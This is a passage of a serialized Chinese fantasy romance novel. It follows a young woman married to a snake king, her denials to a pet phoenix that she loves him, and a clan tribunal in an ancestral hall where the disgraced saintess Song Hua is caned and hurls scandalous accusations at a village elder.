但他却故意把我的手越按越紧,不许我挣脱。 “不是要替本尊检查伤势吗?”他嘴角噙着笑,存心逗我:“本尊给夫人检查。” “你、”我噎住,昂头对上他宛若海中琉璃的幽青双眸,瞬间被他眼底的潋滟光华给摄去了神魂…… 咬咬牙硬着头皮调戏回去,佯作天不怕地不怕: “好啊,既然蛇尊大人都不怕光天化日之下被人扒衣服,那我有什么不好意思的……反正被扒的人又不是我!” 我作势要去解他的腰带…… 可他,竟真没有半分要阻拦的意思! 我都条件反射的轻车熟路把他腰封暗扣给掰开了……也没见他认怂抓住我手腕。 他的腰带就这么落在了我的手里,墨青色的衣袍腰身顿时宽松了几分,垂落下两条暗金色系带。 这个步骤我熟…… 我要是再把这两根带子扯开,就真把他的外衣扒了。 我愣愣盯着手上的龙纹腰封,猛吞了口口水,默默又将腰封给他按了回去, “咳,大白天的,还是在外面,就这样把你扒了委实不太好……你倒是告诉我,到底伤到哪儿了啊!” 他瞧着我窝窝囊囊埋头给他整理腰封的模样,闷笑一声,没良心的告诉我实话:“本尊没受伤,本尊身上的血,是其他妖物的。” 我给他卡好腰带上的最后一颗暗扣,蓦地一僵,昂头错愕看着他,不满道: “你没受伤啊,那你刚才干嘛骗我,我还以为你又被哪个坏东西伤着了……吓死我了,真是白担心你了!” 他厚颜无耻地抬手将我按进怀里,大手拍拍我的后背,今日的蛇王,格外平和温柔:“是本尊动了私心。本尊,想看夫人在意关心本尊的样子。” 我哽了哽,伏在他结实宽广的胸膛上小声嘟囔:“你、说得像我从前没关心过你一样。” “还不够。” 他宠溺地揉我脑袋,平静悠然道: “本尊想要更多……不过无碍,本尊相信,总有一日夫人愿意给本尊更多。总有一日,夫人这颗心,这个人,都会仅属于本尊。” 咦——他今天好肉麻。 不过看在他屡次给我出头的份上,就陪他腻歪一次吧! “是你在暗中帮助赵家婶子捉宋花枝的奸?”我伏在他心口,闭目安静倾听他的雀跃心跳。 这条蛇,怎么抱一下心跳就加速。 以往夜里在床上,也没见他纯情到这个地步…… “嗯,她们冤枉你这样久,也该自食恶果了。” 他抚了抚我的脑袋,语气淡漠: “况且,本尊只是顺水推舟,顺手帮了她们一把。” 怕口说无凭,还特意留了条黄鼠狼的尾巴当证据,这的确是他能干出来的事。 “今天你没去祖祠,错过了一场好戏。 宋淑贞本来想利用乌灵木权杖困住凤凰,逼凤凰为宋花枝所用的,结果却反被凤凰打成了重伤。” 我伸手朝院子里指了指: “呐,就是这只凤凰。你别看它现在小小一只,显露本相打起架来可厉害了。” “它是万年神鸟,自然凶悍。不过有它护着你,本尊也可更放心些。” 我拉住他的袖子,指尖挠了挠上面呈喷射状的一抹血迹:“你这是又出去和谁打架了?衣服都脏了。” “蝼蚁罢了。” 他握住我的手,沉声与我说: “近几日本尊有些私事要处理,可能会早出晚归,不能时常陪在你身畔。你照顾好自己,等本尊解决完那些麻烦事,就回来补偿你。” “哦。”我点头应下。 他抱着我安静良久,目光扫见被凤凰追得满院跑的灵珠,又不放心地嘱咐:“小心谢妄楼,他若再敢来找你麻烦,你便呼唤本尊的名字。” “知道了。” 我贪婪地往他怀里偎了偎: “谢妄楼那王八蛋不是被神力反噬了吗,伤得还挺厉害,灵珠不肯给他疗伤,他现在肯定躲起来闭关疗养去了。 不过,他倒是挺在乎宋花枝的,连灵珠都给了宋花枝。 刚才我们打起来,宋花枝用灵珠偷袭银杏,还想拿灵珠砸死我,幸好凤凰及时一翅膀扇飞了灵珠。” 我刚和他吐槽完,小黄鸟就衔着珠子飞了过来,把那只发癫的珠子送到我与青漓面前飘着,殷勤地同我们报信: “它说它是被那个臭女人偷走的!破珠子脑子不好,被扔出去砸人的时候没看清对方是谁,这才不小心砸伤了那个什么银杏。” “是宋花枝偷的?”我错愕不已:“难怪,谢妄楼平时那么宝贝它,这颗珠子可是他的秘密武器,他得有多爱宋花枝,才舍得把珠子送给宋花枝防身啊!” “这珠子眼神不好还智障,主人帝君,要不然小凤把它啄碎吧!”小黄鸟满眼期待地兴奋征求我们意见。 我疑惑问它:“可是,这颗灵珠很厉害……你能干掉它?” 小黄鸟得意道:“主人你忘记了,小凤以前都是拿珠子当球踢的!” “以前?” 我没听懂它这句话的意思,那颗灵珠闻言却彻底慌了,委屈巴巴地疯狂往我怀里蹭。 蹭完了还去蹭青漓。 似在无声向我们俩求救。 我看着可怜兮兮、恨不得钻青漓袖子里躲灾的灵珠,一时动了恻隐之心,无奈道:“算了吧,这珠子虽然跟了谢妄楼,但从来没伤害过我,放它走吧。” 重点是这珠子灵气充沛仙泽浩瀚,得留着,下次青漓再受伤还得找它借灵气呢! 小凤凰略显失落地惆怅低头:“那好吧。”小翅膀一挥:“死珠子,滚吧!” 珠子这才怯怯从青漓的宽大袖摆下探出脑袋,感激地扑进我怀里撒娇蹭蹭。 随后又举止怪异地飞到青漓面前,一通乱晃,好像在试图和青漓交流…… 我不明所以地问凤凰:“它在干嘛?” 凤凰蹙紧小眉头:“它在和帝君说……千万小心,有人要设计帝君。” 这个人是谁,不用猜,就晓得是它主人谢妄楼了。 有凤凰这个翻译在,珠子晃得更加厉害了。 “它还说,有条狐狸内丹碎了,能保他修为不散的灵药,在帝君身上。所以他想对帝君下杀手!” 青漓听罢,也立时猜出了事情始末:“谢妄楼内丹被劈碎了?看来,他的确惹到了不该惹的人。” “你身上怎么那么多仙丹灵药,这下好了,他把主意打到你身上了。” 我镇定地趴在他怀里: “不过,他应该不是你的对手,你前两次把他打得哭爹喊娘的,就算他想要你身上的灵药,他也得有这个本事找你拿…… 但还是不能掉以轻心,你这几天出门办事千万要注意安全,防着他来阴的。” “嗯。”青漓眸中微黯,寒意直达眼底:“你照顾好自己就行,不用为本尊忧心。” 我的确不担忧他,毕竟他可是蛇王。 之前谢妄楼那只死狐狸身强体壮外加一颗灵珠外挂都干不过青漓,更何况他现在还是战损般…… 除非青漓出门踩狗屎,而他又恰好鸿运当头,他才有可能坑到青漓,不然我真怀疑他这颗杀心会不会刚动,就被青漓给一脚踩碎了。 灵珠传递完消息,就一步三回头、恋恋不舍地离开了我家。 我从青漓怀里出来,问他:“午饭还在家吃吗?” 他对上我期待的眼神,颔首:“在。” 我开心道:“那我去炖排骨。” 他拉住我的手:“你歇着,本尊做。” 我习惯性地挽住他胳膊:“我给你打下手。” 不知从什么时候开始……挽他手臂搂他腰这种动作我竟做得格外娴熟。 他深深瞧了我一眼,答了个好。 见我俩手拉手要进厨房,小黄鸟赶忙飞上来追着青漓问:“帝君帝君,我有个事要请教你!” “讲。” “我刚来九黎山,是不是要去华桑大帝那办暂住证来着! 华桑大帝住哪儿呢?我听说华桑大帝对九黎山一带的仙妖户籍管得可严格了,在这边暂住如果有熟人的推荐信更容易成功办理。 你是不是在这边住了挺久,能不能给我写一封啊?” 青漓步子一停,回头冷声问它:“你,不知道……华桑大帝是何人?” 小黄鸟疑惑歪头:“我才刚来,我怎么会知道他是谁?” “那你为何称本尊……”青漓欲言又止。 小黄鸟琢磨了半晌,才弱弱问了句:“帝君,你想说什么?” “没什么。” 青漓前言不搭后语地转移话题: “华桑大帝身畔有两条灵蛇护法,你去找他们登记个信息就能留下来了。” 小黄鸟忧心忡忡道: “那两条大蛇啊!我刚才好像得罪他们了,我在阴苗族祖祠门外现身的时候,把他们引出来了,他们应该是怕我在阴苗族闹事,就想显形震慑我。 但我可是凤凰哎,我怎么会被两条蛇震慑住!放在两千年前,他们在我跟前只求磕头喊姑奶奶的份。 可是现在我的法力被封印了,我又在他们的地盘上,只能低调行事了,哎,人在屋檐下不得不低头…… 嗳?帝君你怎么走了,帝君你等等我!” 青漓一如既往的孤傲高冷且靠谱:“你不用去了,本尊……与那两位护法有些交情,本尊替你同他们说一声便好。” “哇真的嘛!帝君你好厉害,帝君不愧是帝君,不管在天上还是在地下,就算换个身份也能轻松摆平任何事……主人,跟着帝君混,稳赚不亏啊!” 我突然发现,青漓好像有点吸粉体质。 无论是李大叔,还是银杏阿乞,甚至是凤凰与灵珠…… 好像与他相处久了,都会情不自禁地信任他。 不过也能理解,毕竟青漓虽然是青蛇大妖,可他却从不屑做害人的事。 与他在一起,总是安全感满满。 浑身上下除了性子冷了些,其他地方全是优点! 让人想怀疑揣测……都无从下手。 …… 夜里,青漓出门办事去了,我就坐在床边挑灯做一枚香囊。 小凤凰蹲在我的针线筐里悠闲嗑瓜子,一片瓜子壳不小心吐在了我袖子上,小凤凰赶紧跳出来把瓜子壳衔走,顺便探头看了眼我绣的图案。 “是凤凰花!主人,你这只香囊是绣给谁的啊,好漂亮。” 我绣好最后一片花瓣,打了个哈欠告诉它:“给青漓的。” “青漓……”小凤凰想了半天,反应过来:“哦,是给帝君绣的!” 我点头:“最近天气热了,山里蚊虫比较多,我准备给他做个驱蚊安神的香囊。” “主人,你对帝君真好……”小凤凰趴倒在我的袖边。 我愣了下,不好意思地嘴硬否认:“我这条命是他救的,送他个香囊,是为了还他的恩情。” 小凤凰一听我这么说就来劲了,欢喜跳起来,迈开双腿噔噔噔跑到我眼前: “主人,我怎么觉得,你像是喜欢上他了呢?你现在真的好像在拿恩情做幌子,掩饰你的真实意图! 而且,以我对主人你的了解,你如果真想还一个人的恩情,最多给他买只贵重的香囊送过去,才不会亲手做呢!” 我心虚哽住,拿着香囊扭头换个方向绣, “你一只小鸟懂什么……救命之恩以身相许都是电视剧里才有的情节。 我的确觉得他人还不错,但,感觉他好,不一定就会喜欢他。” “可你们俩都已经结婚了哎!” 第94章 我就是你们的神娘娘! “我们俩、结婚,那是各取所需……” 我捏着香囊,底气不足地说: “当初,宋淑贞为了保住宋花枝,把淫乱娘娘庙这口黑锅硬扣在我的头上,黄仙送聘,狐仙迎亲,她们逼着我代替宋花枝嫁给灰狐仙。 族里谁不知道,那灰狐狸是九黎山一带赫赫有名的淫仙,以前不是没有姑娘被他硬要去过,结果新婚当夜就被他玩死在床上了,次日还被他衣不蔽体的扔回了阴苗族。 他们都知道嫁给灰狐仙没活路,可他们为了活命自保,只能把气全撒在我身上,我的亲妈囚禁我,我的族人唾弃我,明明我什么错也没有……却还要成为宋花枝的替死鬼。 我不想死,也不想嫁给灰狐仙,我只有另嫁给青蛇大妖这一条活路。 而他,也需要我,他需要我给他做老婆,我对他还有利用价值…… 我们现在相处得是很和谐,但小凤,这和爱不一样。 我们……只是朋友。” “只是朋友?”小黄鸟满脸都写着‘我不信’三个大字,“可我怎么觉得,他和你、不止是朋友那么简单呢?” 好奇地跳到我胳膊上,小黄鸟八卦地追问: “帝君看主人你的眼神,一点也不像普通朋友。主人,如果帝君对你,不是利用呢?有没有可能,你其实也喜欢帝君,只是你现在还没有察觉到?” “没可能。”我嘴上否定的果断,但不晓得为什么,心里却乱了:“我们俩,不是一个世界的人,甚至不是一个物种。” “你都给帝君绣香囊了,还说没可能……” “我、”我语塞,心猿意马地胡诌借口,拼命证明自己: “我又不是只给他一个人绣,我后面还会给银杏绣呢!” 瞟了眼小黄鸟的犀利眼神,我弱弱补充:“你要是喜欢,我也可以给你绣!” 小黄鸟顿时眼前一亮,毫不客气地当即开口:“那我喜欢!” 我:“……” 呵呵,这小家伙还真是、性情率真! “总之,我没有喜欢他。”我低头假装绣叶子,实际上嫩绿丝线已经插错了好几针。 为什么,越否认,我越是心慌不安呢。 小黄鸟眯着眼,仿佛想通过我此刻的神情看破我的心思:“真不喜欢,干嘛还关心他晚上回不回来?” 我硬着头皮咳了咳,“我只是出于朋友之间的礼貌才问的好不好!好歹咱俩也是同住一个屋檐下的室友!” “那你还给他剥瓜子开心果呢,主人你都没有给小凤剥过!” “我、我是为了讨好他,你不了解他,这家伙脾气阴晴不定的,我要是不多做点让他开心的事,万一他一口把我吞了怎么办。 当初嫁给他就是为了拿他挡灾保命,现在可不能轻易折他手里了……” 说这话时,我接连被针捅破手指头两次,愣是忍痛憋着没咋呼出声。 呜,也许是老天爷都听不下去了。 小凤凰昂头挺胸,半信半疑:“是嘛?那主人,假如帝君也喜欢你,你会不会试着喜欢帝君呢?” “不会……” “为嘛!” 我脑子里乱糟糟的,随口敷衍:“他是蛇,我是人,我们俩……不是一个世界的人。” 完了,词穷了。 怎么感觉自己越强调,就越口不对心呢…… 小凤凰一头倒在我胳膊上,继续喋喋不休地念叨我: “不是一个世界的人又怎么样,不是一个物种又怎样!在妖界,多的是跨物种的爱情,异族通婚! 原以为主人你这辈子能改变对帝君的印象,没想到你竟还是不喜欢帝君,与帝君无缘,帝君都为了你做到这个份上了…… 哎,天道戏弄人啊! 主人你为什么不喜欢帝君,主人你干嘛不愿意试试喜欢帝君……” 傻凤凰啊,男女之间的这种事,一个人怎能说的算呢? 就像银杏和宋潮生,银杏曾那么热烈地追求过宋潮生,可结果呢…… 那两年,多少村里人在背地里戳银杏脊梁骨,偷摸议论银杏倒贴还被人甩了。 银杏为了宋潮生,吃了多少苦,受了多少委屈,没人比我这个好姐妹更清楚。 青漓是对我很好,可对我好不意味着喜欢……喜欢也不意味着爱。 有时候,一旦一个人越过中间这条线了,另一个人若不肯上前……于她而言,就是万丈深渊。 与其渴求一份不确定的爱,还不如多做做一夜暴富的美梦呢! 爱情有背叛自己的风险,但钞票永远不会辜负我的真心! 哪成想小黄鸟越说越离谱,像是猛地想到什么关键点似的,突然一个鲤鱼打挺飞扑起来, “啊!我知道了,主人你是不是有什么求之不得忘不掉的青梅竹马?所以才看不上帝君!” 这小家伙一惊一乍的性子真是让人头疼啊。 等青漓忙完这阵子,还是得把小家伙扔给他带。 他有耐心! 就算没耐心,还有手段不是? 我无语地揉了揉差点被针扎穿的手指头,“青梅竹马,你还真猜对了,不……” 话刚说一半,门外忽然传来东西落地的声音。 小凤凰警觉的高喝一声:“谁!” 随即迅速扑扇着翅膀飞去了门口。 我也放下手里的针线,快步追过去。 跨出房门,院子里黑漆漆的,四下一片静谧,仅有丝丝细微风声轻漫灌入耳。 根本瞧不见半个人影。 “咦,我刚才明明听见了人的呼吸声……”小凤凰在门口挥舞翅膀转了两圈,“不对,肯定有人来过了!我都闻见炒栗子的香味了!” “炒栗子?”我深表怀疑地也努力嗅了嗅:“我怎么没闻到……你是不是鼻子太灵了,闻到附近邻居家的炒栗子了?” “怎么可能,我的嗅觉向来很准!”小凤凰坚持道。 我摸黑走到院门口,又检查了一遍院门的两道大闩,木闩还插得好好的,没有被人动过的痕迹。 但刚才那道声响,的确就是出现在房间门外的…… 到底是什么东西掉在地上了? 我扭头,借着屋内洒出的灯光仔细检查了一遍屋檐,不一会儿就发现檐下青砖廊台上落着一截枯树枝。 我弯腰将枯树枝拾起来,是门口梨树的树枝。 想来是刚才外面风突然刮大了,把树枝吹断砸落在了窗外,这才发出了重物落地的声响…… “没事了,掉了根枯树枝。”我顺手把树枝扔出去,带小凤凰回屋。 小凤凰不甘心的坚持嘀咕:“主人你相信我,我的确闻到了炒栗子的香味。不可能是邻居家的!” 我拿它没办法地反问它:“你觉得哪个贼翻进别人家偷东西还顺便揣一口袋炒栗子?” 小凤凰霎时噎住,等我重新拿起针线后才傻傻嘟囔:“那也许不是贼呢……” 见我没理它,小家伙乖乖安静下来。 我熟练地拆开绣毁的两针,赶紧将剩下的叶子给绣完整。 好不容易才遇上青漓出门办事彻夜不归,我得趁着今晚把这项大工程给解决了。 这样剩下的时间就可以着手准备香料了,等他忙完,我再把香囊送他,给他一个惊喜! 这条蛇,平时我给他做个菜剥个坚果他都能开心好一会,送他香囊,他肯定会心情舒畅个把月。 看着马上就能完工的香囊,我打着哈欠,揉了揉熬累的双眼,瞧着上面的图案甚是满意。 啧,这么耗费心血的东西怎么可能人人都有。 银杏今年自己做了香囊,她从前没事就喜欢在家里绣绣花做做手工,她家里装香料的香囊一大堆,哪用得着我给她绣。 至于旁边这个小家伙…… 等我有空去银杏家拿一个,回来一并装上香料,再送给小凤凰,到时候就说是我亲手做的,省得这家伙和青漓争风吃醋。 “主人……”小家伙也有些累了,无精打采地翻肚皮躺在桌子上,两眼都快熬红了还不忘找我接着八卦:“你那个青梅竹马……” 我拿它没辙的捏捏鼻梁: “我的确有个青梅竹马,不过我和他早就一刀两断了…… 赵二,他和我,还有银杏,我们三从小一起长大,算是名副其实的青梅竹马。 可他却被欲望迷眼,现在成了宋花枝的追求者,为了替宋花枝抱不平,恨不得将我千刀万剐。” “哎?怎么和我想象中的不一样?那除了他呢,还有别的小竹马吗?” 我摇头,回忆起往事,脑子里全是一些不愉快的记忆: “小时候村里的孩子都说我是妈不要的灾星,如果没有外婆这个老祭司罩着我,我可能、早就死在别人的算计下了。 那会子外婆和赵村长家,还有李大叔家关系都不错,只有银杏与赵大哥赵二哥愿意带我一起玩。 旁人家的孩子对我避之不及呢,哪来的其他小竹马。” 可惜,后来长大了,赵大哥离家出走,赵二因为外婆设下的四重考核没通过而没脸面再见我。 村里别的同龄男子看我的眼神都带着偏见与嫌弃,这么多年了,也就只有青漓这一个男人不会戴有色眼镜看我。 其实,我先前和小凤凰说,我不可能喜欢他,我在意他是蛇我是人……都是忽悠小凤凰的。 或许一开始我确实因为青漓的身份,对青漓有防备。 我怕他是祸害,我怕我放出了他,会成为村子里的罪人。 更怕他一个不开心就吃了我。 但相处久了我才发现……我们俩才是最相似的同类。 他是蛇王,是世人眼中的异类。 我是灾星,是村民眼中的异类。 我们俩都是异类,他从没因为我灾星的身份,对我目露厌恶。 我又怎么能因为他的是蛇王,就对他有偏见呢。 他明明,也是我阴暗人生中的一缕光…… 除了他,谁会那么在意我的命啊。 凌晨两点,我手里的香囊终于完工了。 等我收了针线,才发现小凤凰已经趴在桌子上睡死了过去。 堂堂凤凰神鸟,此时竟睡得四仰八叉,毫无鸟样。 …… 次日,我一早就拽着银杏上山采做香囊的草药了。 历经艰难的两个小时,我终于采到了山里最顶用的驱蚊草。 这草与旁的驱蚊草不一样,旁的驱蚊草是靠散发刺激性味道达到驱除蚊虫的效果。 而这种驱蚊草本身没有刺鼻气味,甚至叶子上还携着淡淡的草木香…… 听李大叔说,山里部分驱蚊草容易误伤到蛇类,而我们今天采的这种草不但不会伤着蛇的嗅觉,对蛇还有清神明目的效果。 也因为此草利蛇,所以此草生长之处通常会盘踞不少毒蛇,想采走此草很有难度。 不过,值得庆幸的是,今天我们找到这草的时候,草附近虽然卧有毒蛇,但那些毒蛇一见到我腕上的莲花红髓镯,立马就被青漓的气息给吓得迅速逃散了…… 然后这草就成功落进了我手里。 奈何,逃过了被蛇咬一劫,却没逃过被树藤绊…… 我背着草药刚踏上下山的路,就被一根树藤给绊倒在地,连滚了几百米远,摔得满身是伤。 银杏慌里慌张地追上我,将我扶起来时,我的胳膊都被摔脱臼了。 “早就提醒过你,这片山域地势不好,山路格外难走,前几天刚下过雨,路面湿滑特别容易摔跤…… 你为了采这几株草药非要往这里闯,现在好了,摔成这样……伤筋动骨一百天,回去有你疼的。” 银杏拿我没办法地帮我拍掉身上泥灰,我尴尬地用法力给自己接骨。 还好伤的不是很严重,我自个儿就能处理。 “这不是大意了嘛,没事,没伤到筋骨,胳膊腿都好好的。”我抬起双臂向银杏证明。 银杏无奈撇嘴:“你啊,这都什么运气啊!算了,我们赶紧回家,回去我给你擦药。” “好。” 我们这头刚说完话,前头山路拐弯处就传来了齐老家大孙子的呼喊声: “鬼师娘娘、银杏!哎呦我终于找到你们了!快走,去祖祠,族老们与大长老正在审理圣女在娘娘庙偷人的事,我爷爷让我喊你过去做个见证!” 银杏诧异地与我相视一眼:“圣女在娘娘庙偷人?” 我颔首:“审宋花枝呢。” 早就猜到赵家婶子不会这么轻易放过宋花枝…… 大祭司母女俩可是要了她儿媳妇的命啊。 我带着一身伤和银杏下山先去了月阴村的祖祠。 刚进祖祠大门,就看见赵村长老婆跪在列祖列宗牌位前大声控诉: “昨天我们一行十来个人都看见了,是这个宋花枝不要脸,在娘娘庙的慈善堂里与黄大仙苟合! 我们还听见,她亲口承认当初招惹灰狐大仙的人就是她! 大祭司为了保住她的名声,才把招惹灰狐大仙的罪名扣在她亲妹妹宋鸾镜的头上,逼宋鸾镜替她嫁给灰狐大仙!” 紧接着赵家婶子的老姐妹们也纷纷附和: “各位族老、大长老,你可得替我们这些无辜村民做主啊!不能因为宋花枝是圣女就放过她!” “宋花枝,人证物证俱在,你还有什么可抵赖的!” “宋花枝,亏我们还敬你是圣女,拿你当神娘娘供奉,你怎么能为了一己之私害死那么多条无辜人命呢!姜家那孩子以前可是喜欢你喜欢的不得了,寒冬腊月给你进山打兔子!” “这样蛇蝎心肠的女人,算什么圣女,我看神娘娘转世也是假的!” “必须要给宋花枝点颜色看看!以往大祭司总是护着宋花枝,今天趁大祭司重伤在家养病,各位族老、大长老,你们就替我们阴苗族发落了她吧!” 而披头散发瘫跪在地的宋花枝这会子倒像是被逼急了想咬人,摇摇晃晃地站起身,指着祖宗牌位前那些装模作样的族老们就狂笑开骂: “是!是我和山里的野仙在一起了,村里那些年轻人也是我杀的,异香是从我身上传出来的,但那又如何,那是我的祭品! 我在自己的神庙里宠幸自己手底的野仙,何错之有?! 我庇佑了你们阴苗族三百年,找你们要点祭品,不该吗? 我宋花枝,就是你们的神娘娘,凭你们几个牙都快掉光了,一身老人味的贱东西,敢处置我吗!” 第95章 宋鸾镜,你得意不了多久 “你!简直是无法无天!” 阴苗族的族老齐老被宋花枝气得双手直哆嗦,一手拄着龙头拐杖,一手抬起,指着宋花枝恼怒呵斥道: “宋花枝,你身为阴苗圣女,却做出这等令族落蒙羞的事,实在可恨! 当初你在神娘娘的庙宇内是如何发誓的,你向神明起誓,终生不嫁,以纯洁之身供养长生泉,虽然后来供养长生泉的事是假的,你的身子也不干净了。 可你扪心自问,我们这些族人们怪过你吗? 我们阴苗族还是很人性化的,不会像阳苗人那样,困着圣女,逼迫圣女按族人们的意愿做事! 我们的确也希望圣女身子越纯洁越好,但你与赵二的事闹得人尽皆知,我们只能认了,我族没有不许圣女嫁人的规矩,你想有个家,我们是双手双脚支持。 可你怎能荒淫成性,与山里野仙勾搭成奸,你可是我族最尊贵的圣女,你怎么能干出这等肮脏事呢! 你真是辜负了我们所有族人的信任!” “辜负了你们的信任?人性化?” 宋花枝倏地放声大笑: “你们说这话的时候,良心不会痛吗!如果长生泉真是靠我的纯洁之身供奉,你们还会允许我与赵二在一起吗? 如果我不是神娘娘转世,你们会这么轻易地放过我吗?我荒淫成性,那你们呢! 村里多少人,既害怕闻见娘娘庙的异香,又盼着闻见娘娘庙的香味!还有你,齐老东西!” 宋花枝猛地抬手直指万古流芳匾额下主持大局的老者,狂笑着放出猛料: “你在这里装什么大尾巴狼呢!你又算什么好东西! 当初你们把宋鸾镜送给狐王后,以为自己后顾无忧了,宋鸾镜在狐狸洞那晚,你和族里的男人们打着去娘娘庙巡逻的幌子,都干了什么,真以为我不知道呢!” 转头又面向上百名族人们,赤红着双目直言揭穿: “就是这个坟头土都埋到脖颈的老东西,你们别看他平时装得一本正经,人模人样,私底下玩得可花了呢! 那晚他带着村里的男人们,竟在娘娘庙玩起了角色扮演。他们趴在我躺过的床上,贪婪吮吸着我残留的体香,他们折断庙里的桃花,插在付家寡妇的头发上。 说我淫乱,你们懂什么,我那是双修,真正淫乱的人,是这些人面兽心的衣冠禽兽! 那夜,付家寡妇可是伺候了你们老少十余人! 齐志恒,你敢将你做过的那些肮脏事公之于众吗? 你敢告诉你的儿子,你老不正经爬灰爬到了儿媳妇的床上,你儿媳妇中年得子,怀的其实不是你儿子的种,而是你的! 你说,孩子生下地,是该叫你爸呢,还是该叫你爷爷!” “妈耶,一来就听到这么大的瓜!”银杏震惊地挽住我胳膊,诧异道:“没想到齐老一把年纪了,还挺风流。” 在场的人听见这话,无一不惊讶瞪大双眼,纷纷朝齐老投去错愕目光。 一本正经站在边上的阿乞此时更是吃瓜吃的上头,满脸都写着对齐老一把岁数身体还如此硬朗的敬佩! 老东西就这么被宋花枝揭开了自己苦心遮掩多年的遮羞布,一时又羞又恼,恨不得扬起拐杖将宋花枝揍一顿,面目狰狞地狠声厉斥: “你、胡说八道!乡亲们,别相信这个女人,这个女人她满嘴谎言!她是狗急跳墙了,自己不清白还想拉我一起下水! 宋花枝,原本我还想给你留条活路,想着只要你乖乖认错,这件事我们小惩大戒一番也就过去了,可没想到你非但不知悔改还妄想污蔑我的名声。 来人啊!长老会的打手呢!拖下去、给我拖下去,杖责五十!打死她这个不要脸的孽障!” 肃立在祖祠正堂左右两侧的打手们闻言为难地面面相觑,最终将目光投落在缩角落里吃瓜的阿乞身上,老实等待阿乞的命令。 见长老会的人迟迟没有动静,齐老这才反应过来长老会如今已经被阿乞接手了,长老会的伙计已经不再是他们的爪牙了,他们使唤不动了。 “大长老,你可得给我们做主啊!圣女宋花枝品性低劣,淫乱娘娘庙,害死不少无辜族人,她与妖孽苟合,是该浸猪笼的!大长老,你可不能放过这个女人啊!”齐老转头又去怂恿阿乞做决定。 阿乞皱眉想了想,道:“今天大祭司不在,如何发落圣女,还是得征求一下大祭司的意见。圣女身份特殊,单凭你我两人,没权利越过大祭司直接处置圣女。” “阿乞这家伙在搞什么,干嘛不直接发话把宋花枝浸猪笼?还帮宋花枝拖延时间。他现在可是大长老哎,怎么没权利处置宋花枝了?大长老存在的意义不就是监督大祭司,制衡大祭司与圣女的力量吗?” 银杏扯了扯我的袖角不满吐槽。 我看着阿乞面色凝重一本正经的做派,推测道: “应该是李大叔提前和他交代了什么,现在还不是搞垮宋花枝的合适时机,宋花枝肯定还会翻身,没必要与她当着这么多族人的面撕破脸。 阿乞才刚接任大长老的位置,族里人现在几乎全都是拥护宋淑贞这个大祭司的,宋花枝身为圣女,就算再荒唐,族人们对宋花枝的容忍度肯定要高于阿乞这个大长老。 阿乞年纪小,继任大长老本就令某些人心中不服,要是公然与大祭司针锋相对,和大祭司分庭抗争,那以后阿乞在阴苗族的日子肯定不好过。 阴苗族这些人若真到非要选一方站队的那天,支持阿乞的人,怕是寥寥无几。 阿乞现在要做的,不是利用大长老的特权去对付宋花枝母女,而是沉淀力量,养精蓄锐。” “现在还不是搞垮宋花枝的合适时机?宋花枝与野仙苟合的事都已经真相大白了,她还杀了族人,即便她是圣女,这次也得给这么多族人一个交代吧!”银杏不服气地嘀咕。 我摇摇头: “交代是要给,但单凭与野仙苟合,吸噬同族青年男人的精气,哪怕再加上那十七名无辜少女的性命,都不足以逼宋花枝用自己的小命为代价来平息族人们心中的怒火。 宋花枝可是圣女,她还有神娘娘转世这重身份,只要她一日咬死自己就是神娘娘,族人们对她下手都得谨慎掂量着。 换句话说,你觉得阴苗族这些人,敢杀宋花枝吗?” “如果,有证据证明宋花枝根本不是神娘娘呢?没了神娘娘这重保护罩,看宋花枝还能嘚瑟多久。” “你觉得,是你找宋花枝不是神娘娘的证据快,还是宋淑贞设法坐实宋花枝神娘娘身份的速度快?” 我淡淡道: “宋淑贞现在还没出现在祖祠,肯定是找到了其他保全宋花枝的办法……她不是会坐以待毙的人,她这么疼爱宋花枝,怎么会放任齐老他们真把宋花枝给伤了?” “难不成,她要从神娘娘的身上下手?”银杏聪明地猜中关键点。 几位族老与阿乞商量了一通,最终由齐老不情不愿地宣布折中的处置决定: “圣女宋花枝,不遵族规,残害同族,违反神前誓言,先杖刑三十,再囚进地牢,等我们见过大祭司后,再公布对圣女的最终处置方案!” 说罢,挥手示意长老会的人将圣女拖出去。 只是年轻男人们还没触碰到宋花枝的身子,宋花枝就底气十足的高声恐吓道:“我看你们谁敢!我可是你们的神娘娘!你们敢打我,你们是不想活了吗!” 齐老拄着龙头拐杖难得的脑子清醒一回: “神娘娘慈悲为怀,普渡苍生,怎会做出视人命为草芥,滥杀无辜的坏事! 宋花枝,你是不是神娘娘转世还有待考证,即便你真是神娘娘,如今你已投胎转世到我们阴苗族,就是我阴苗族的子民,要遵守我阴苗族的规矩! 我如今按阴苗族的祖宗律法来处置你,有何不妥!” 大手一挥,坚定道:“拖下去!” “你们敢!”宋花枝见齐老要来真的了,惊恐瞪大眼,转身就要跑。 但终究还是被长老会的打手们给拦下来按住了双臂,强押到祖祠门外,拖了一条红漆长凳摆在祖祠正门口,将宋花枝无情扔了上去…… “我可是神娘娘,你们敢打我我让你们不得好……” 宋花枝拼了命的一嗓子刚吼完,打手们手里的木杖就用力朝她腰脊打了下去—— 一时门外一阵断断续续的惨叫。 “啊!” “你们、你们疯了!” “等我妈来、你们,等着完蛋吧!” “妈……我好疼……” “老东西们,你们给我等着……” “啊——” 痛苦呼救之余,目光忽地扫见立在祖祠正堂门口的我与银杏。 宋花枝因疼痛而惨白的面容更难看了,咬紧牙关,颤巍巍伸手指向我: “你、你……是你!” “宋、鸾……你得意不了、多久。” “我会、让你后悔、的!” 不过宋淑贞的动作倒也快,第八杖刚落在宋花枝的腰身上,就有村民跌跌撞撞地慌促跑进祖祠报信—— “大长老,族老们,不好了!” “别打了,都停手!停手!” “大长老不好了,娘娘庙出事了!娘娘神像突然大面积蜕皮,好多蛇、蛇从娘娘庙里涌出来,正往山下爬……” “一定是咱们打伤圣女,惹娘娘不开心了,娘娘要惩罚咱们。” “那些蛇、都是毒蛇!” 祖祠里的老家伙们听见这个消息,霎时青了脸。 八十多岁的王老赶忙敲着手里拐杖惶恐吩咐:“快!快把圣女扶起来!” “哎呦喂,都是你们造的孽啊,圣女金枝玉叶之身,怎么能被你们如此糟蹋!” “快喊郎中来给圣女治伤,求圣女开恩,饶过我们吧,是我们这些人老糊涂了,还望圣女莫要同我们一般计较啊!” 山上有蛇涌下来了? 阿乞远远朝我和银杏使了个眼神,我俩秒懂,当即悄然跟着阿乞离开祖祠,上山查看情况…… 但,事实也如我们所料,山上,根本没有蛇。 只是娘娘庙的神像,确实蜕了一层皮。 “二十二年前,娘娘神庙被雷劈塌,阴苗族的族人们便着急忙慌地合力出资又在原地建了座新的,这尊娘娘神像也是二十二年前刚塑的。 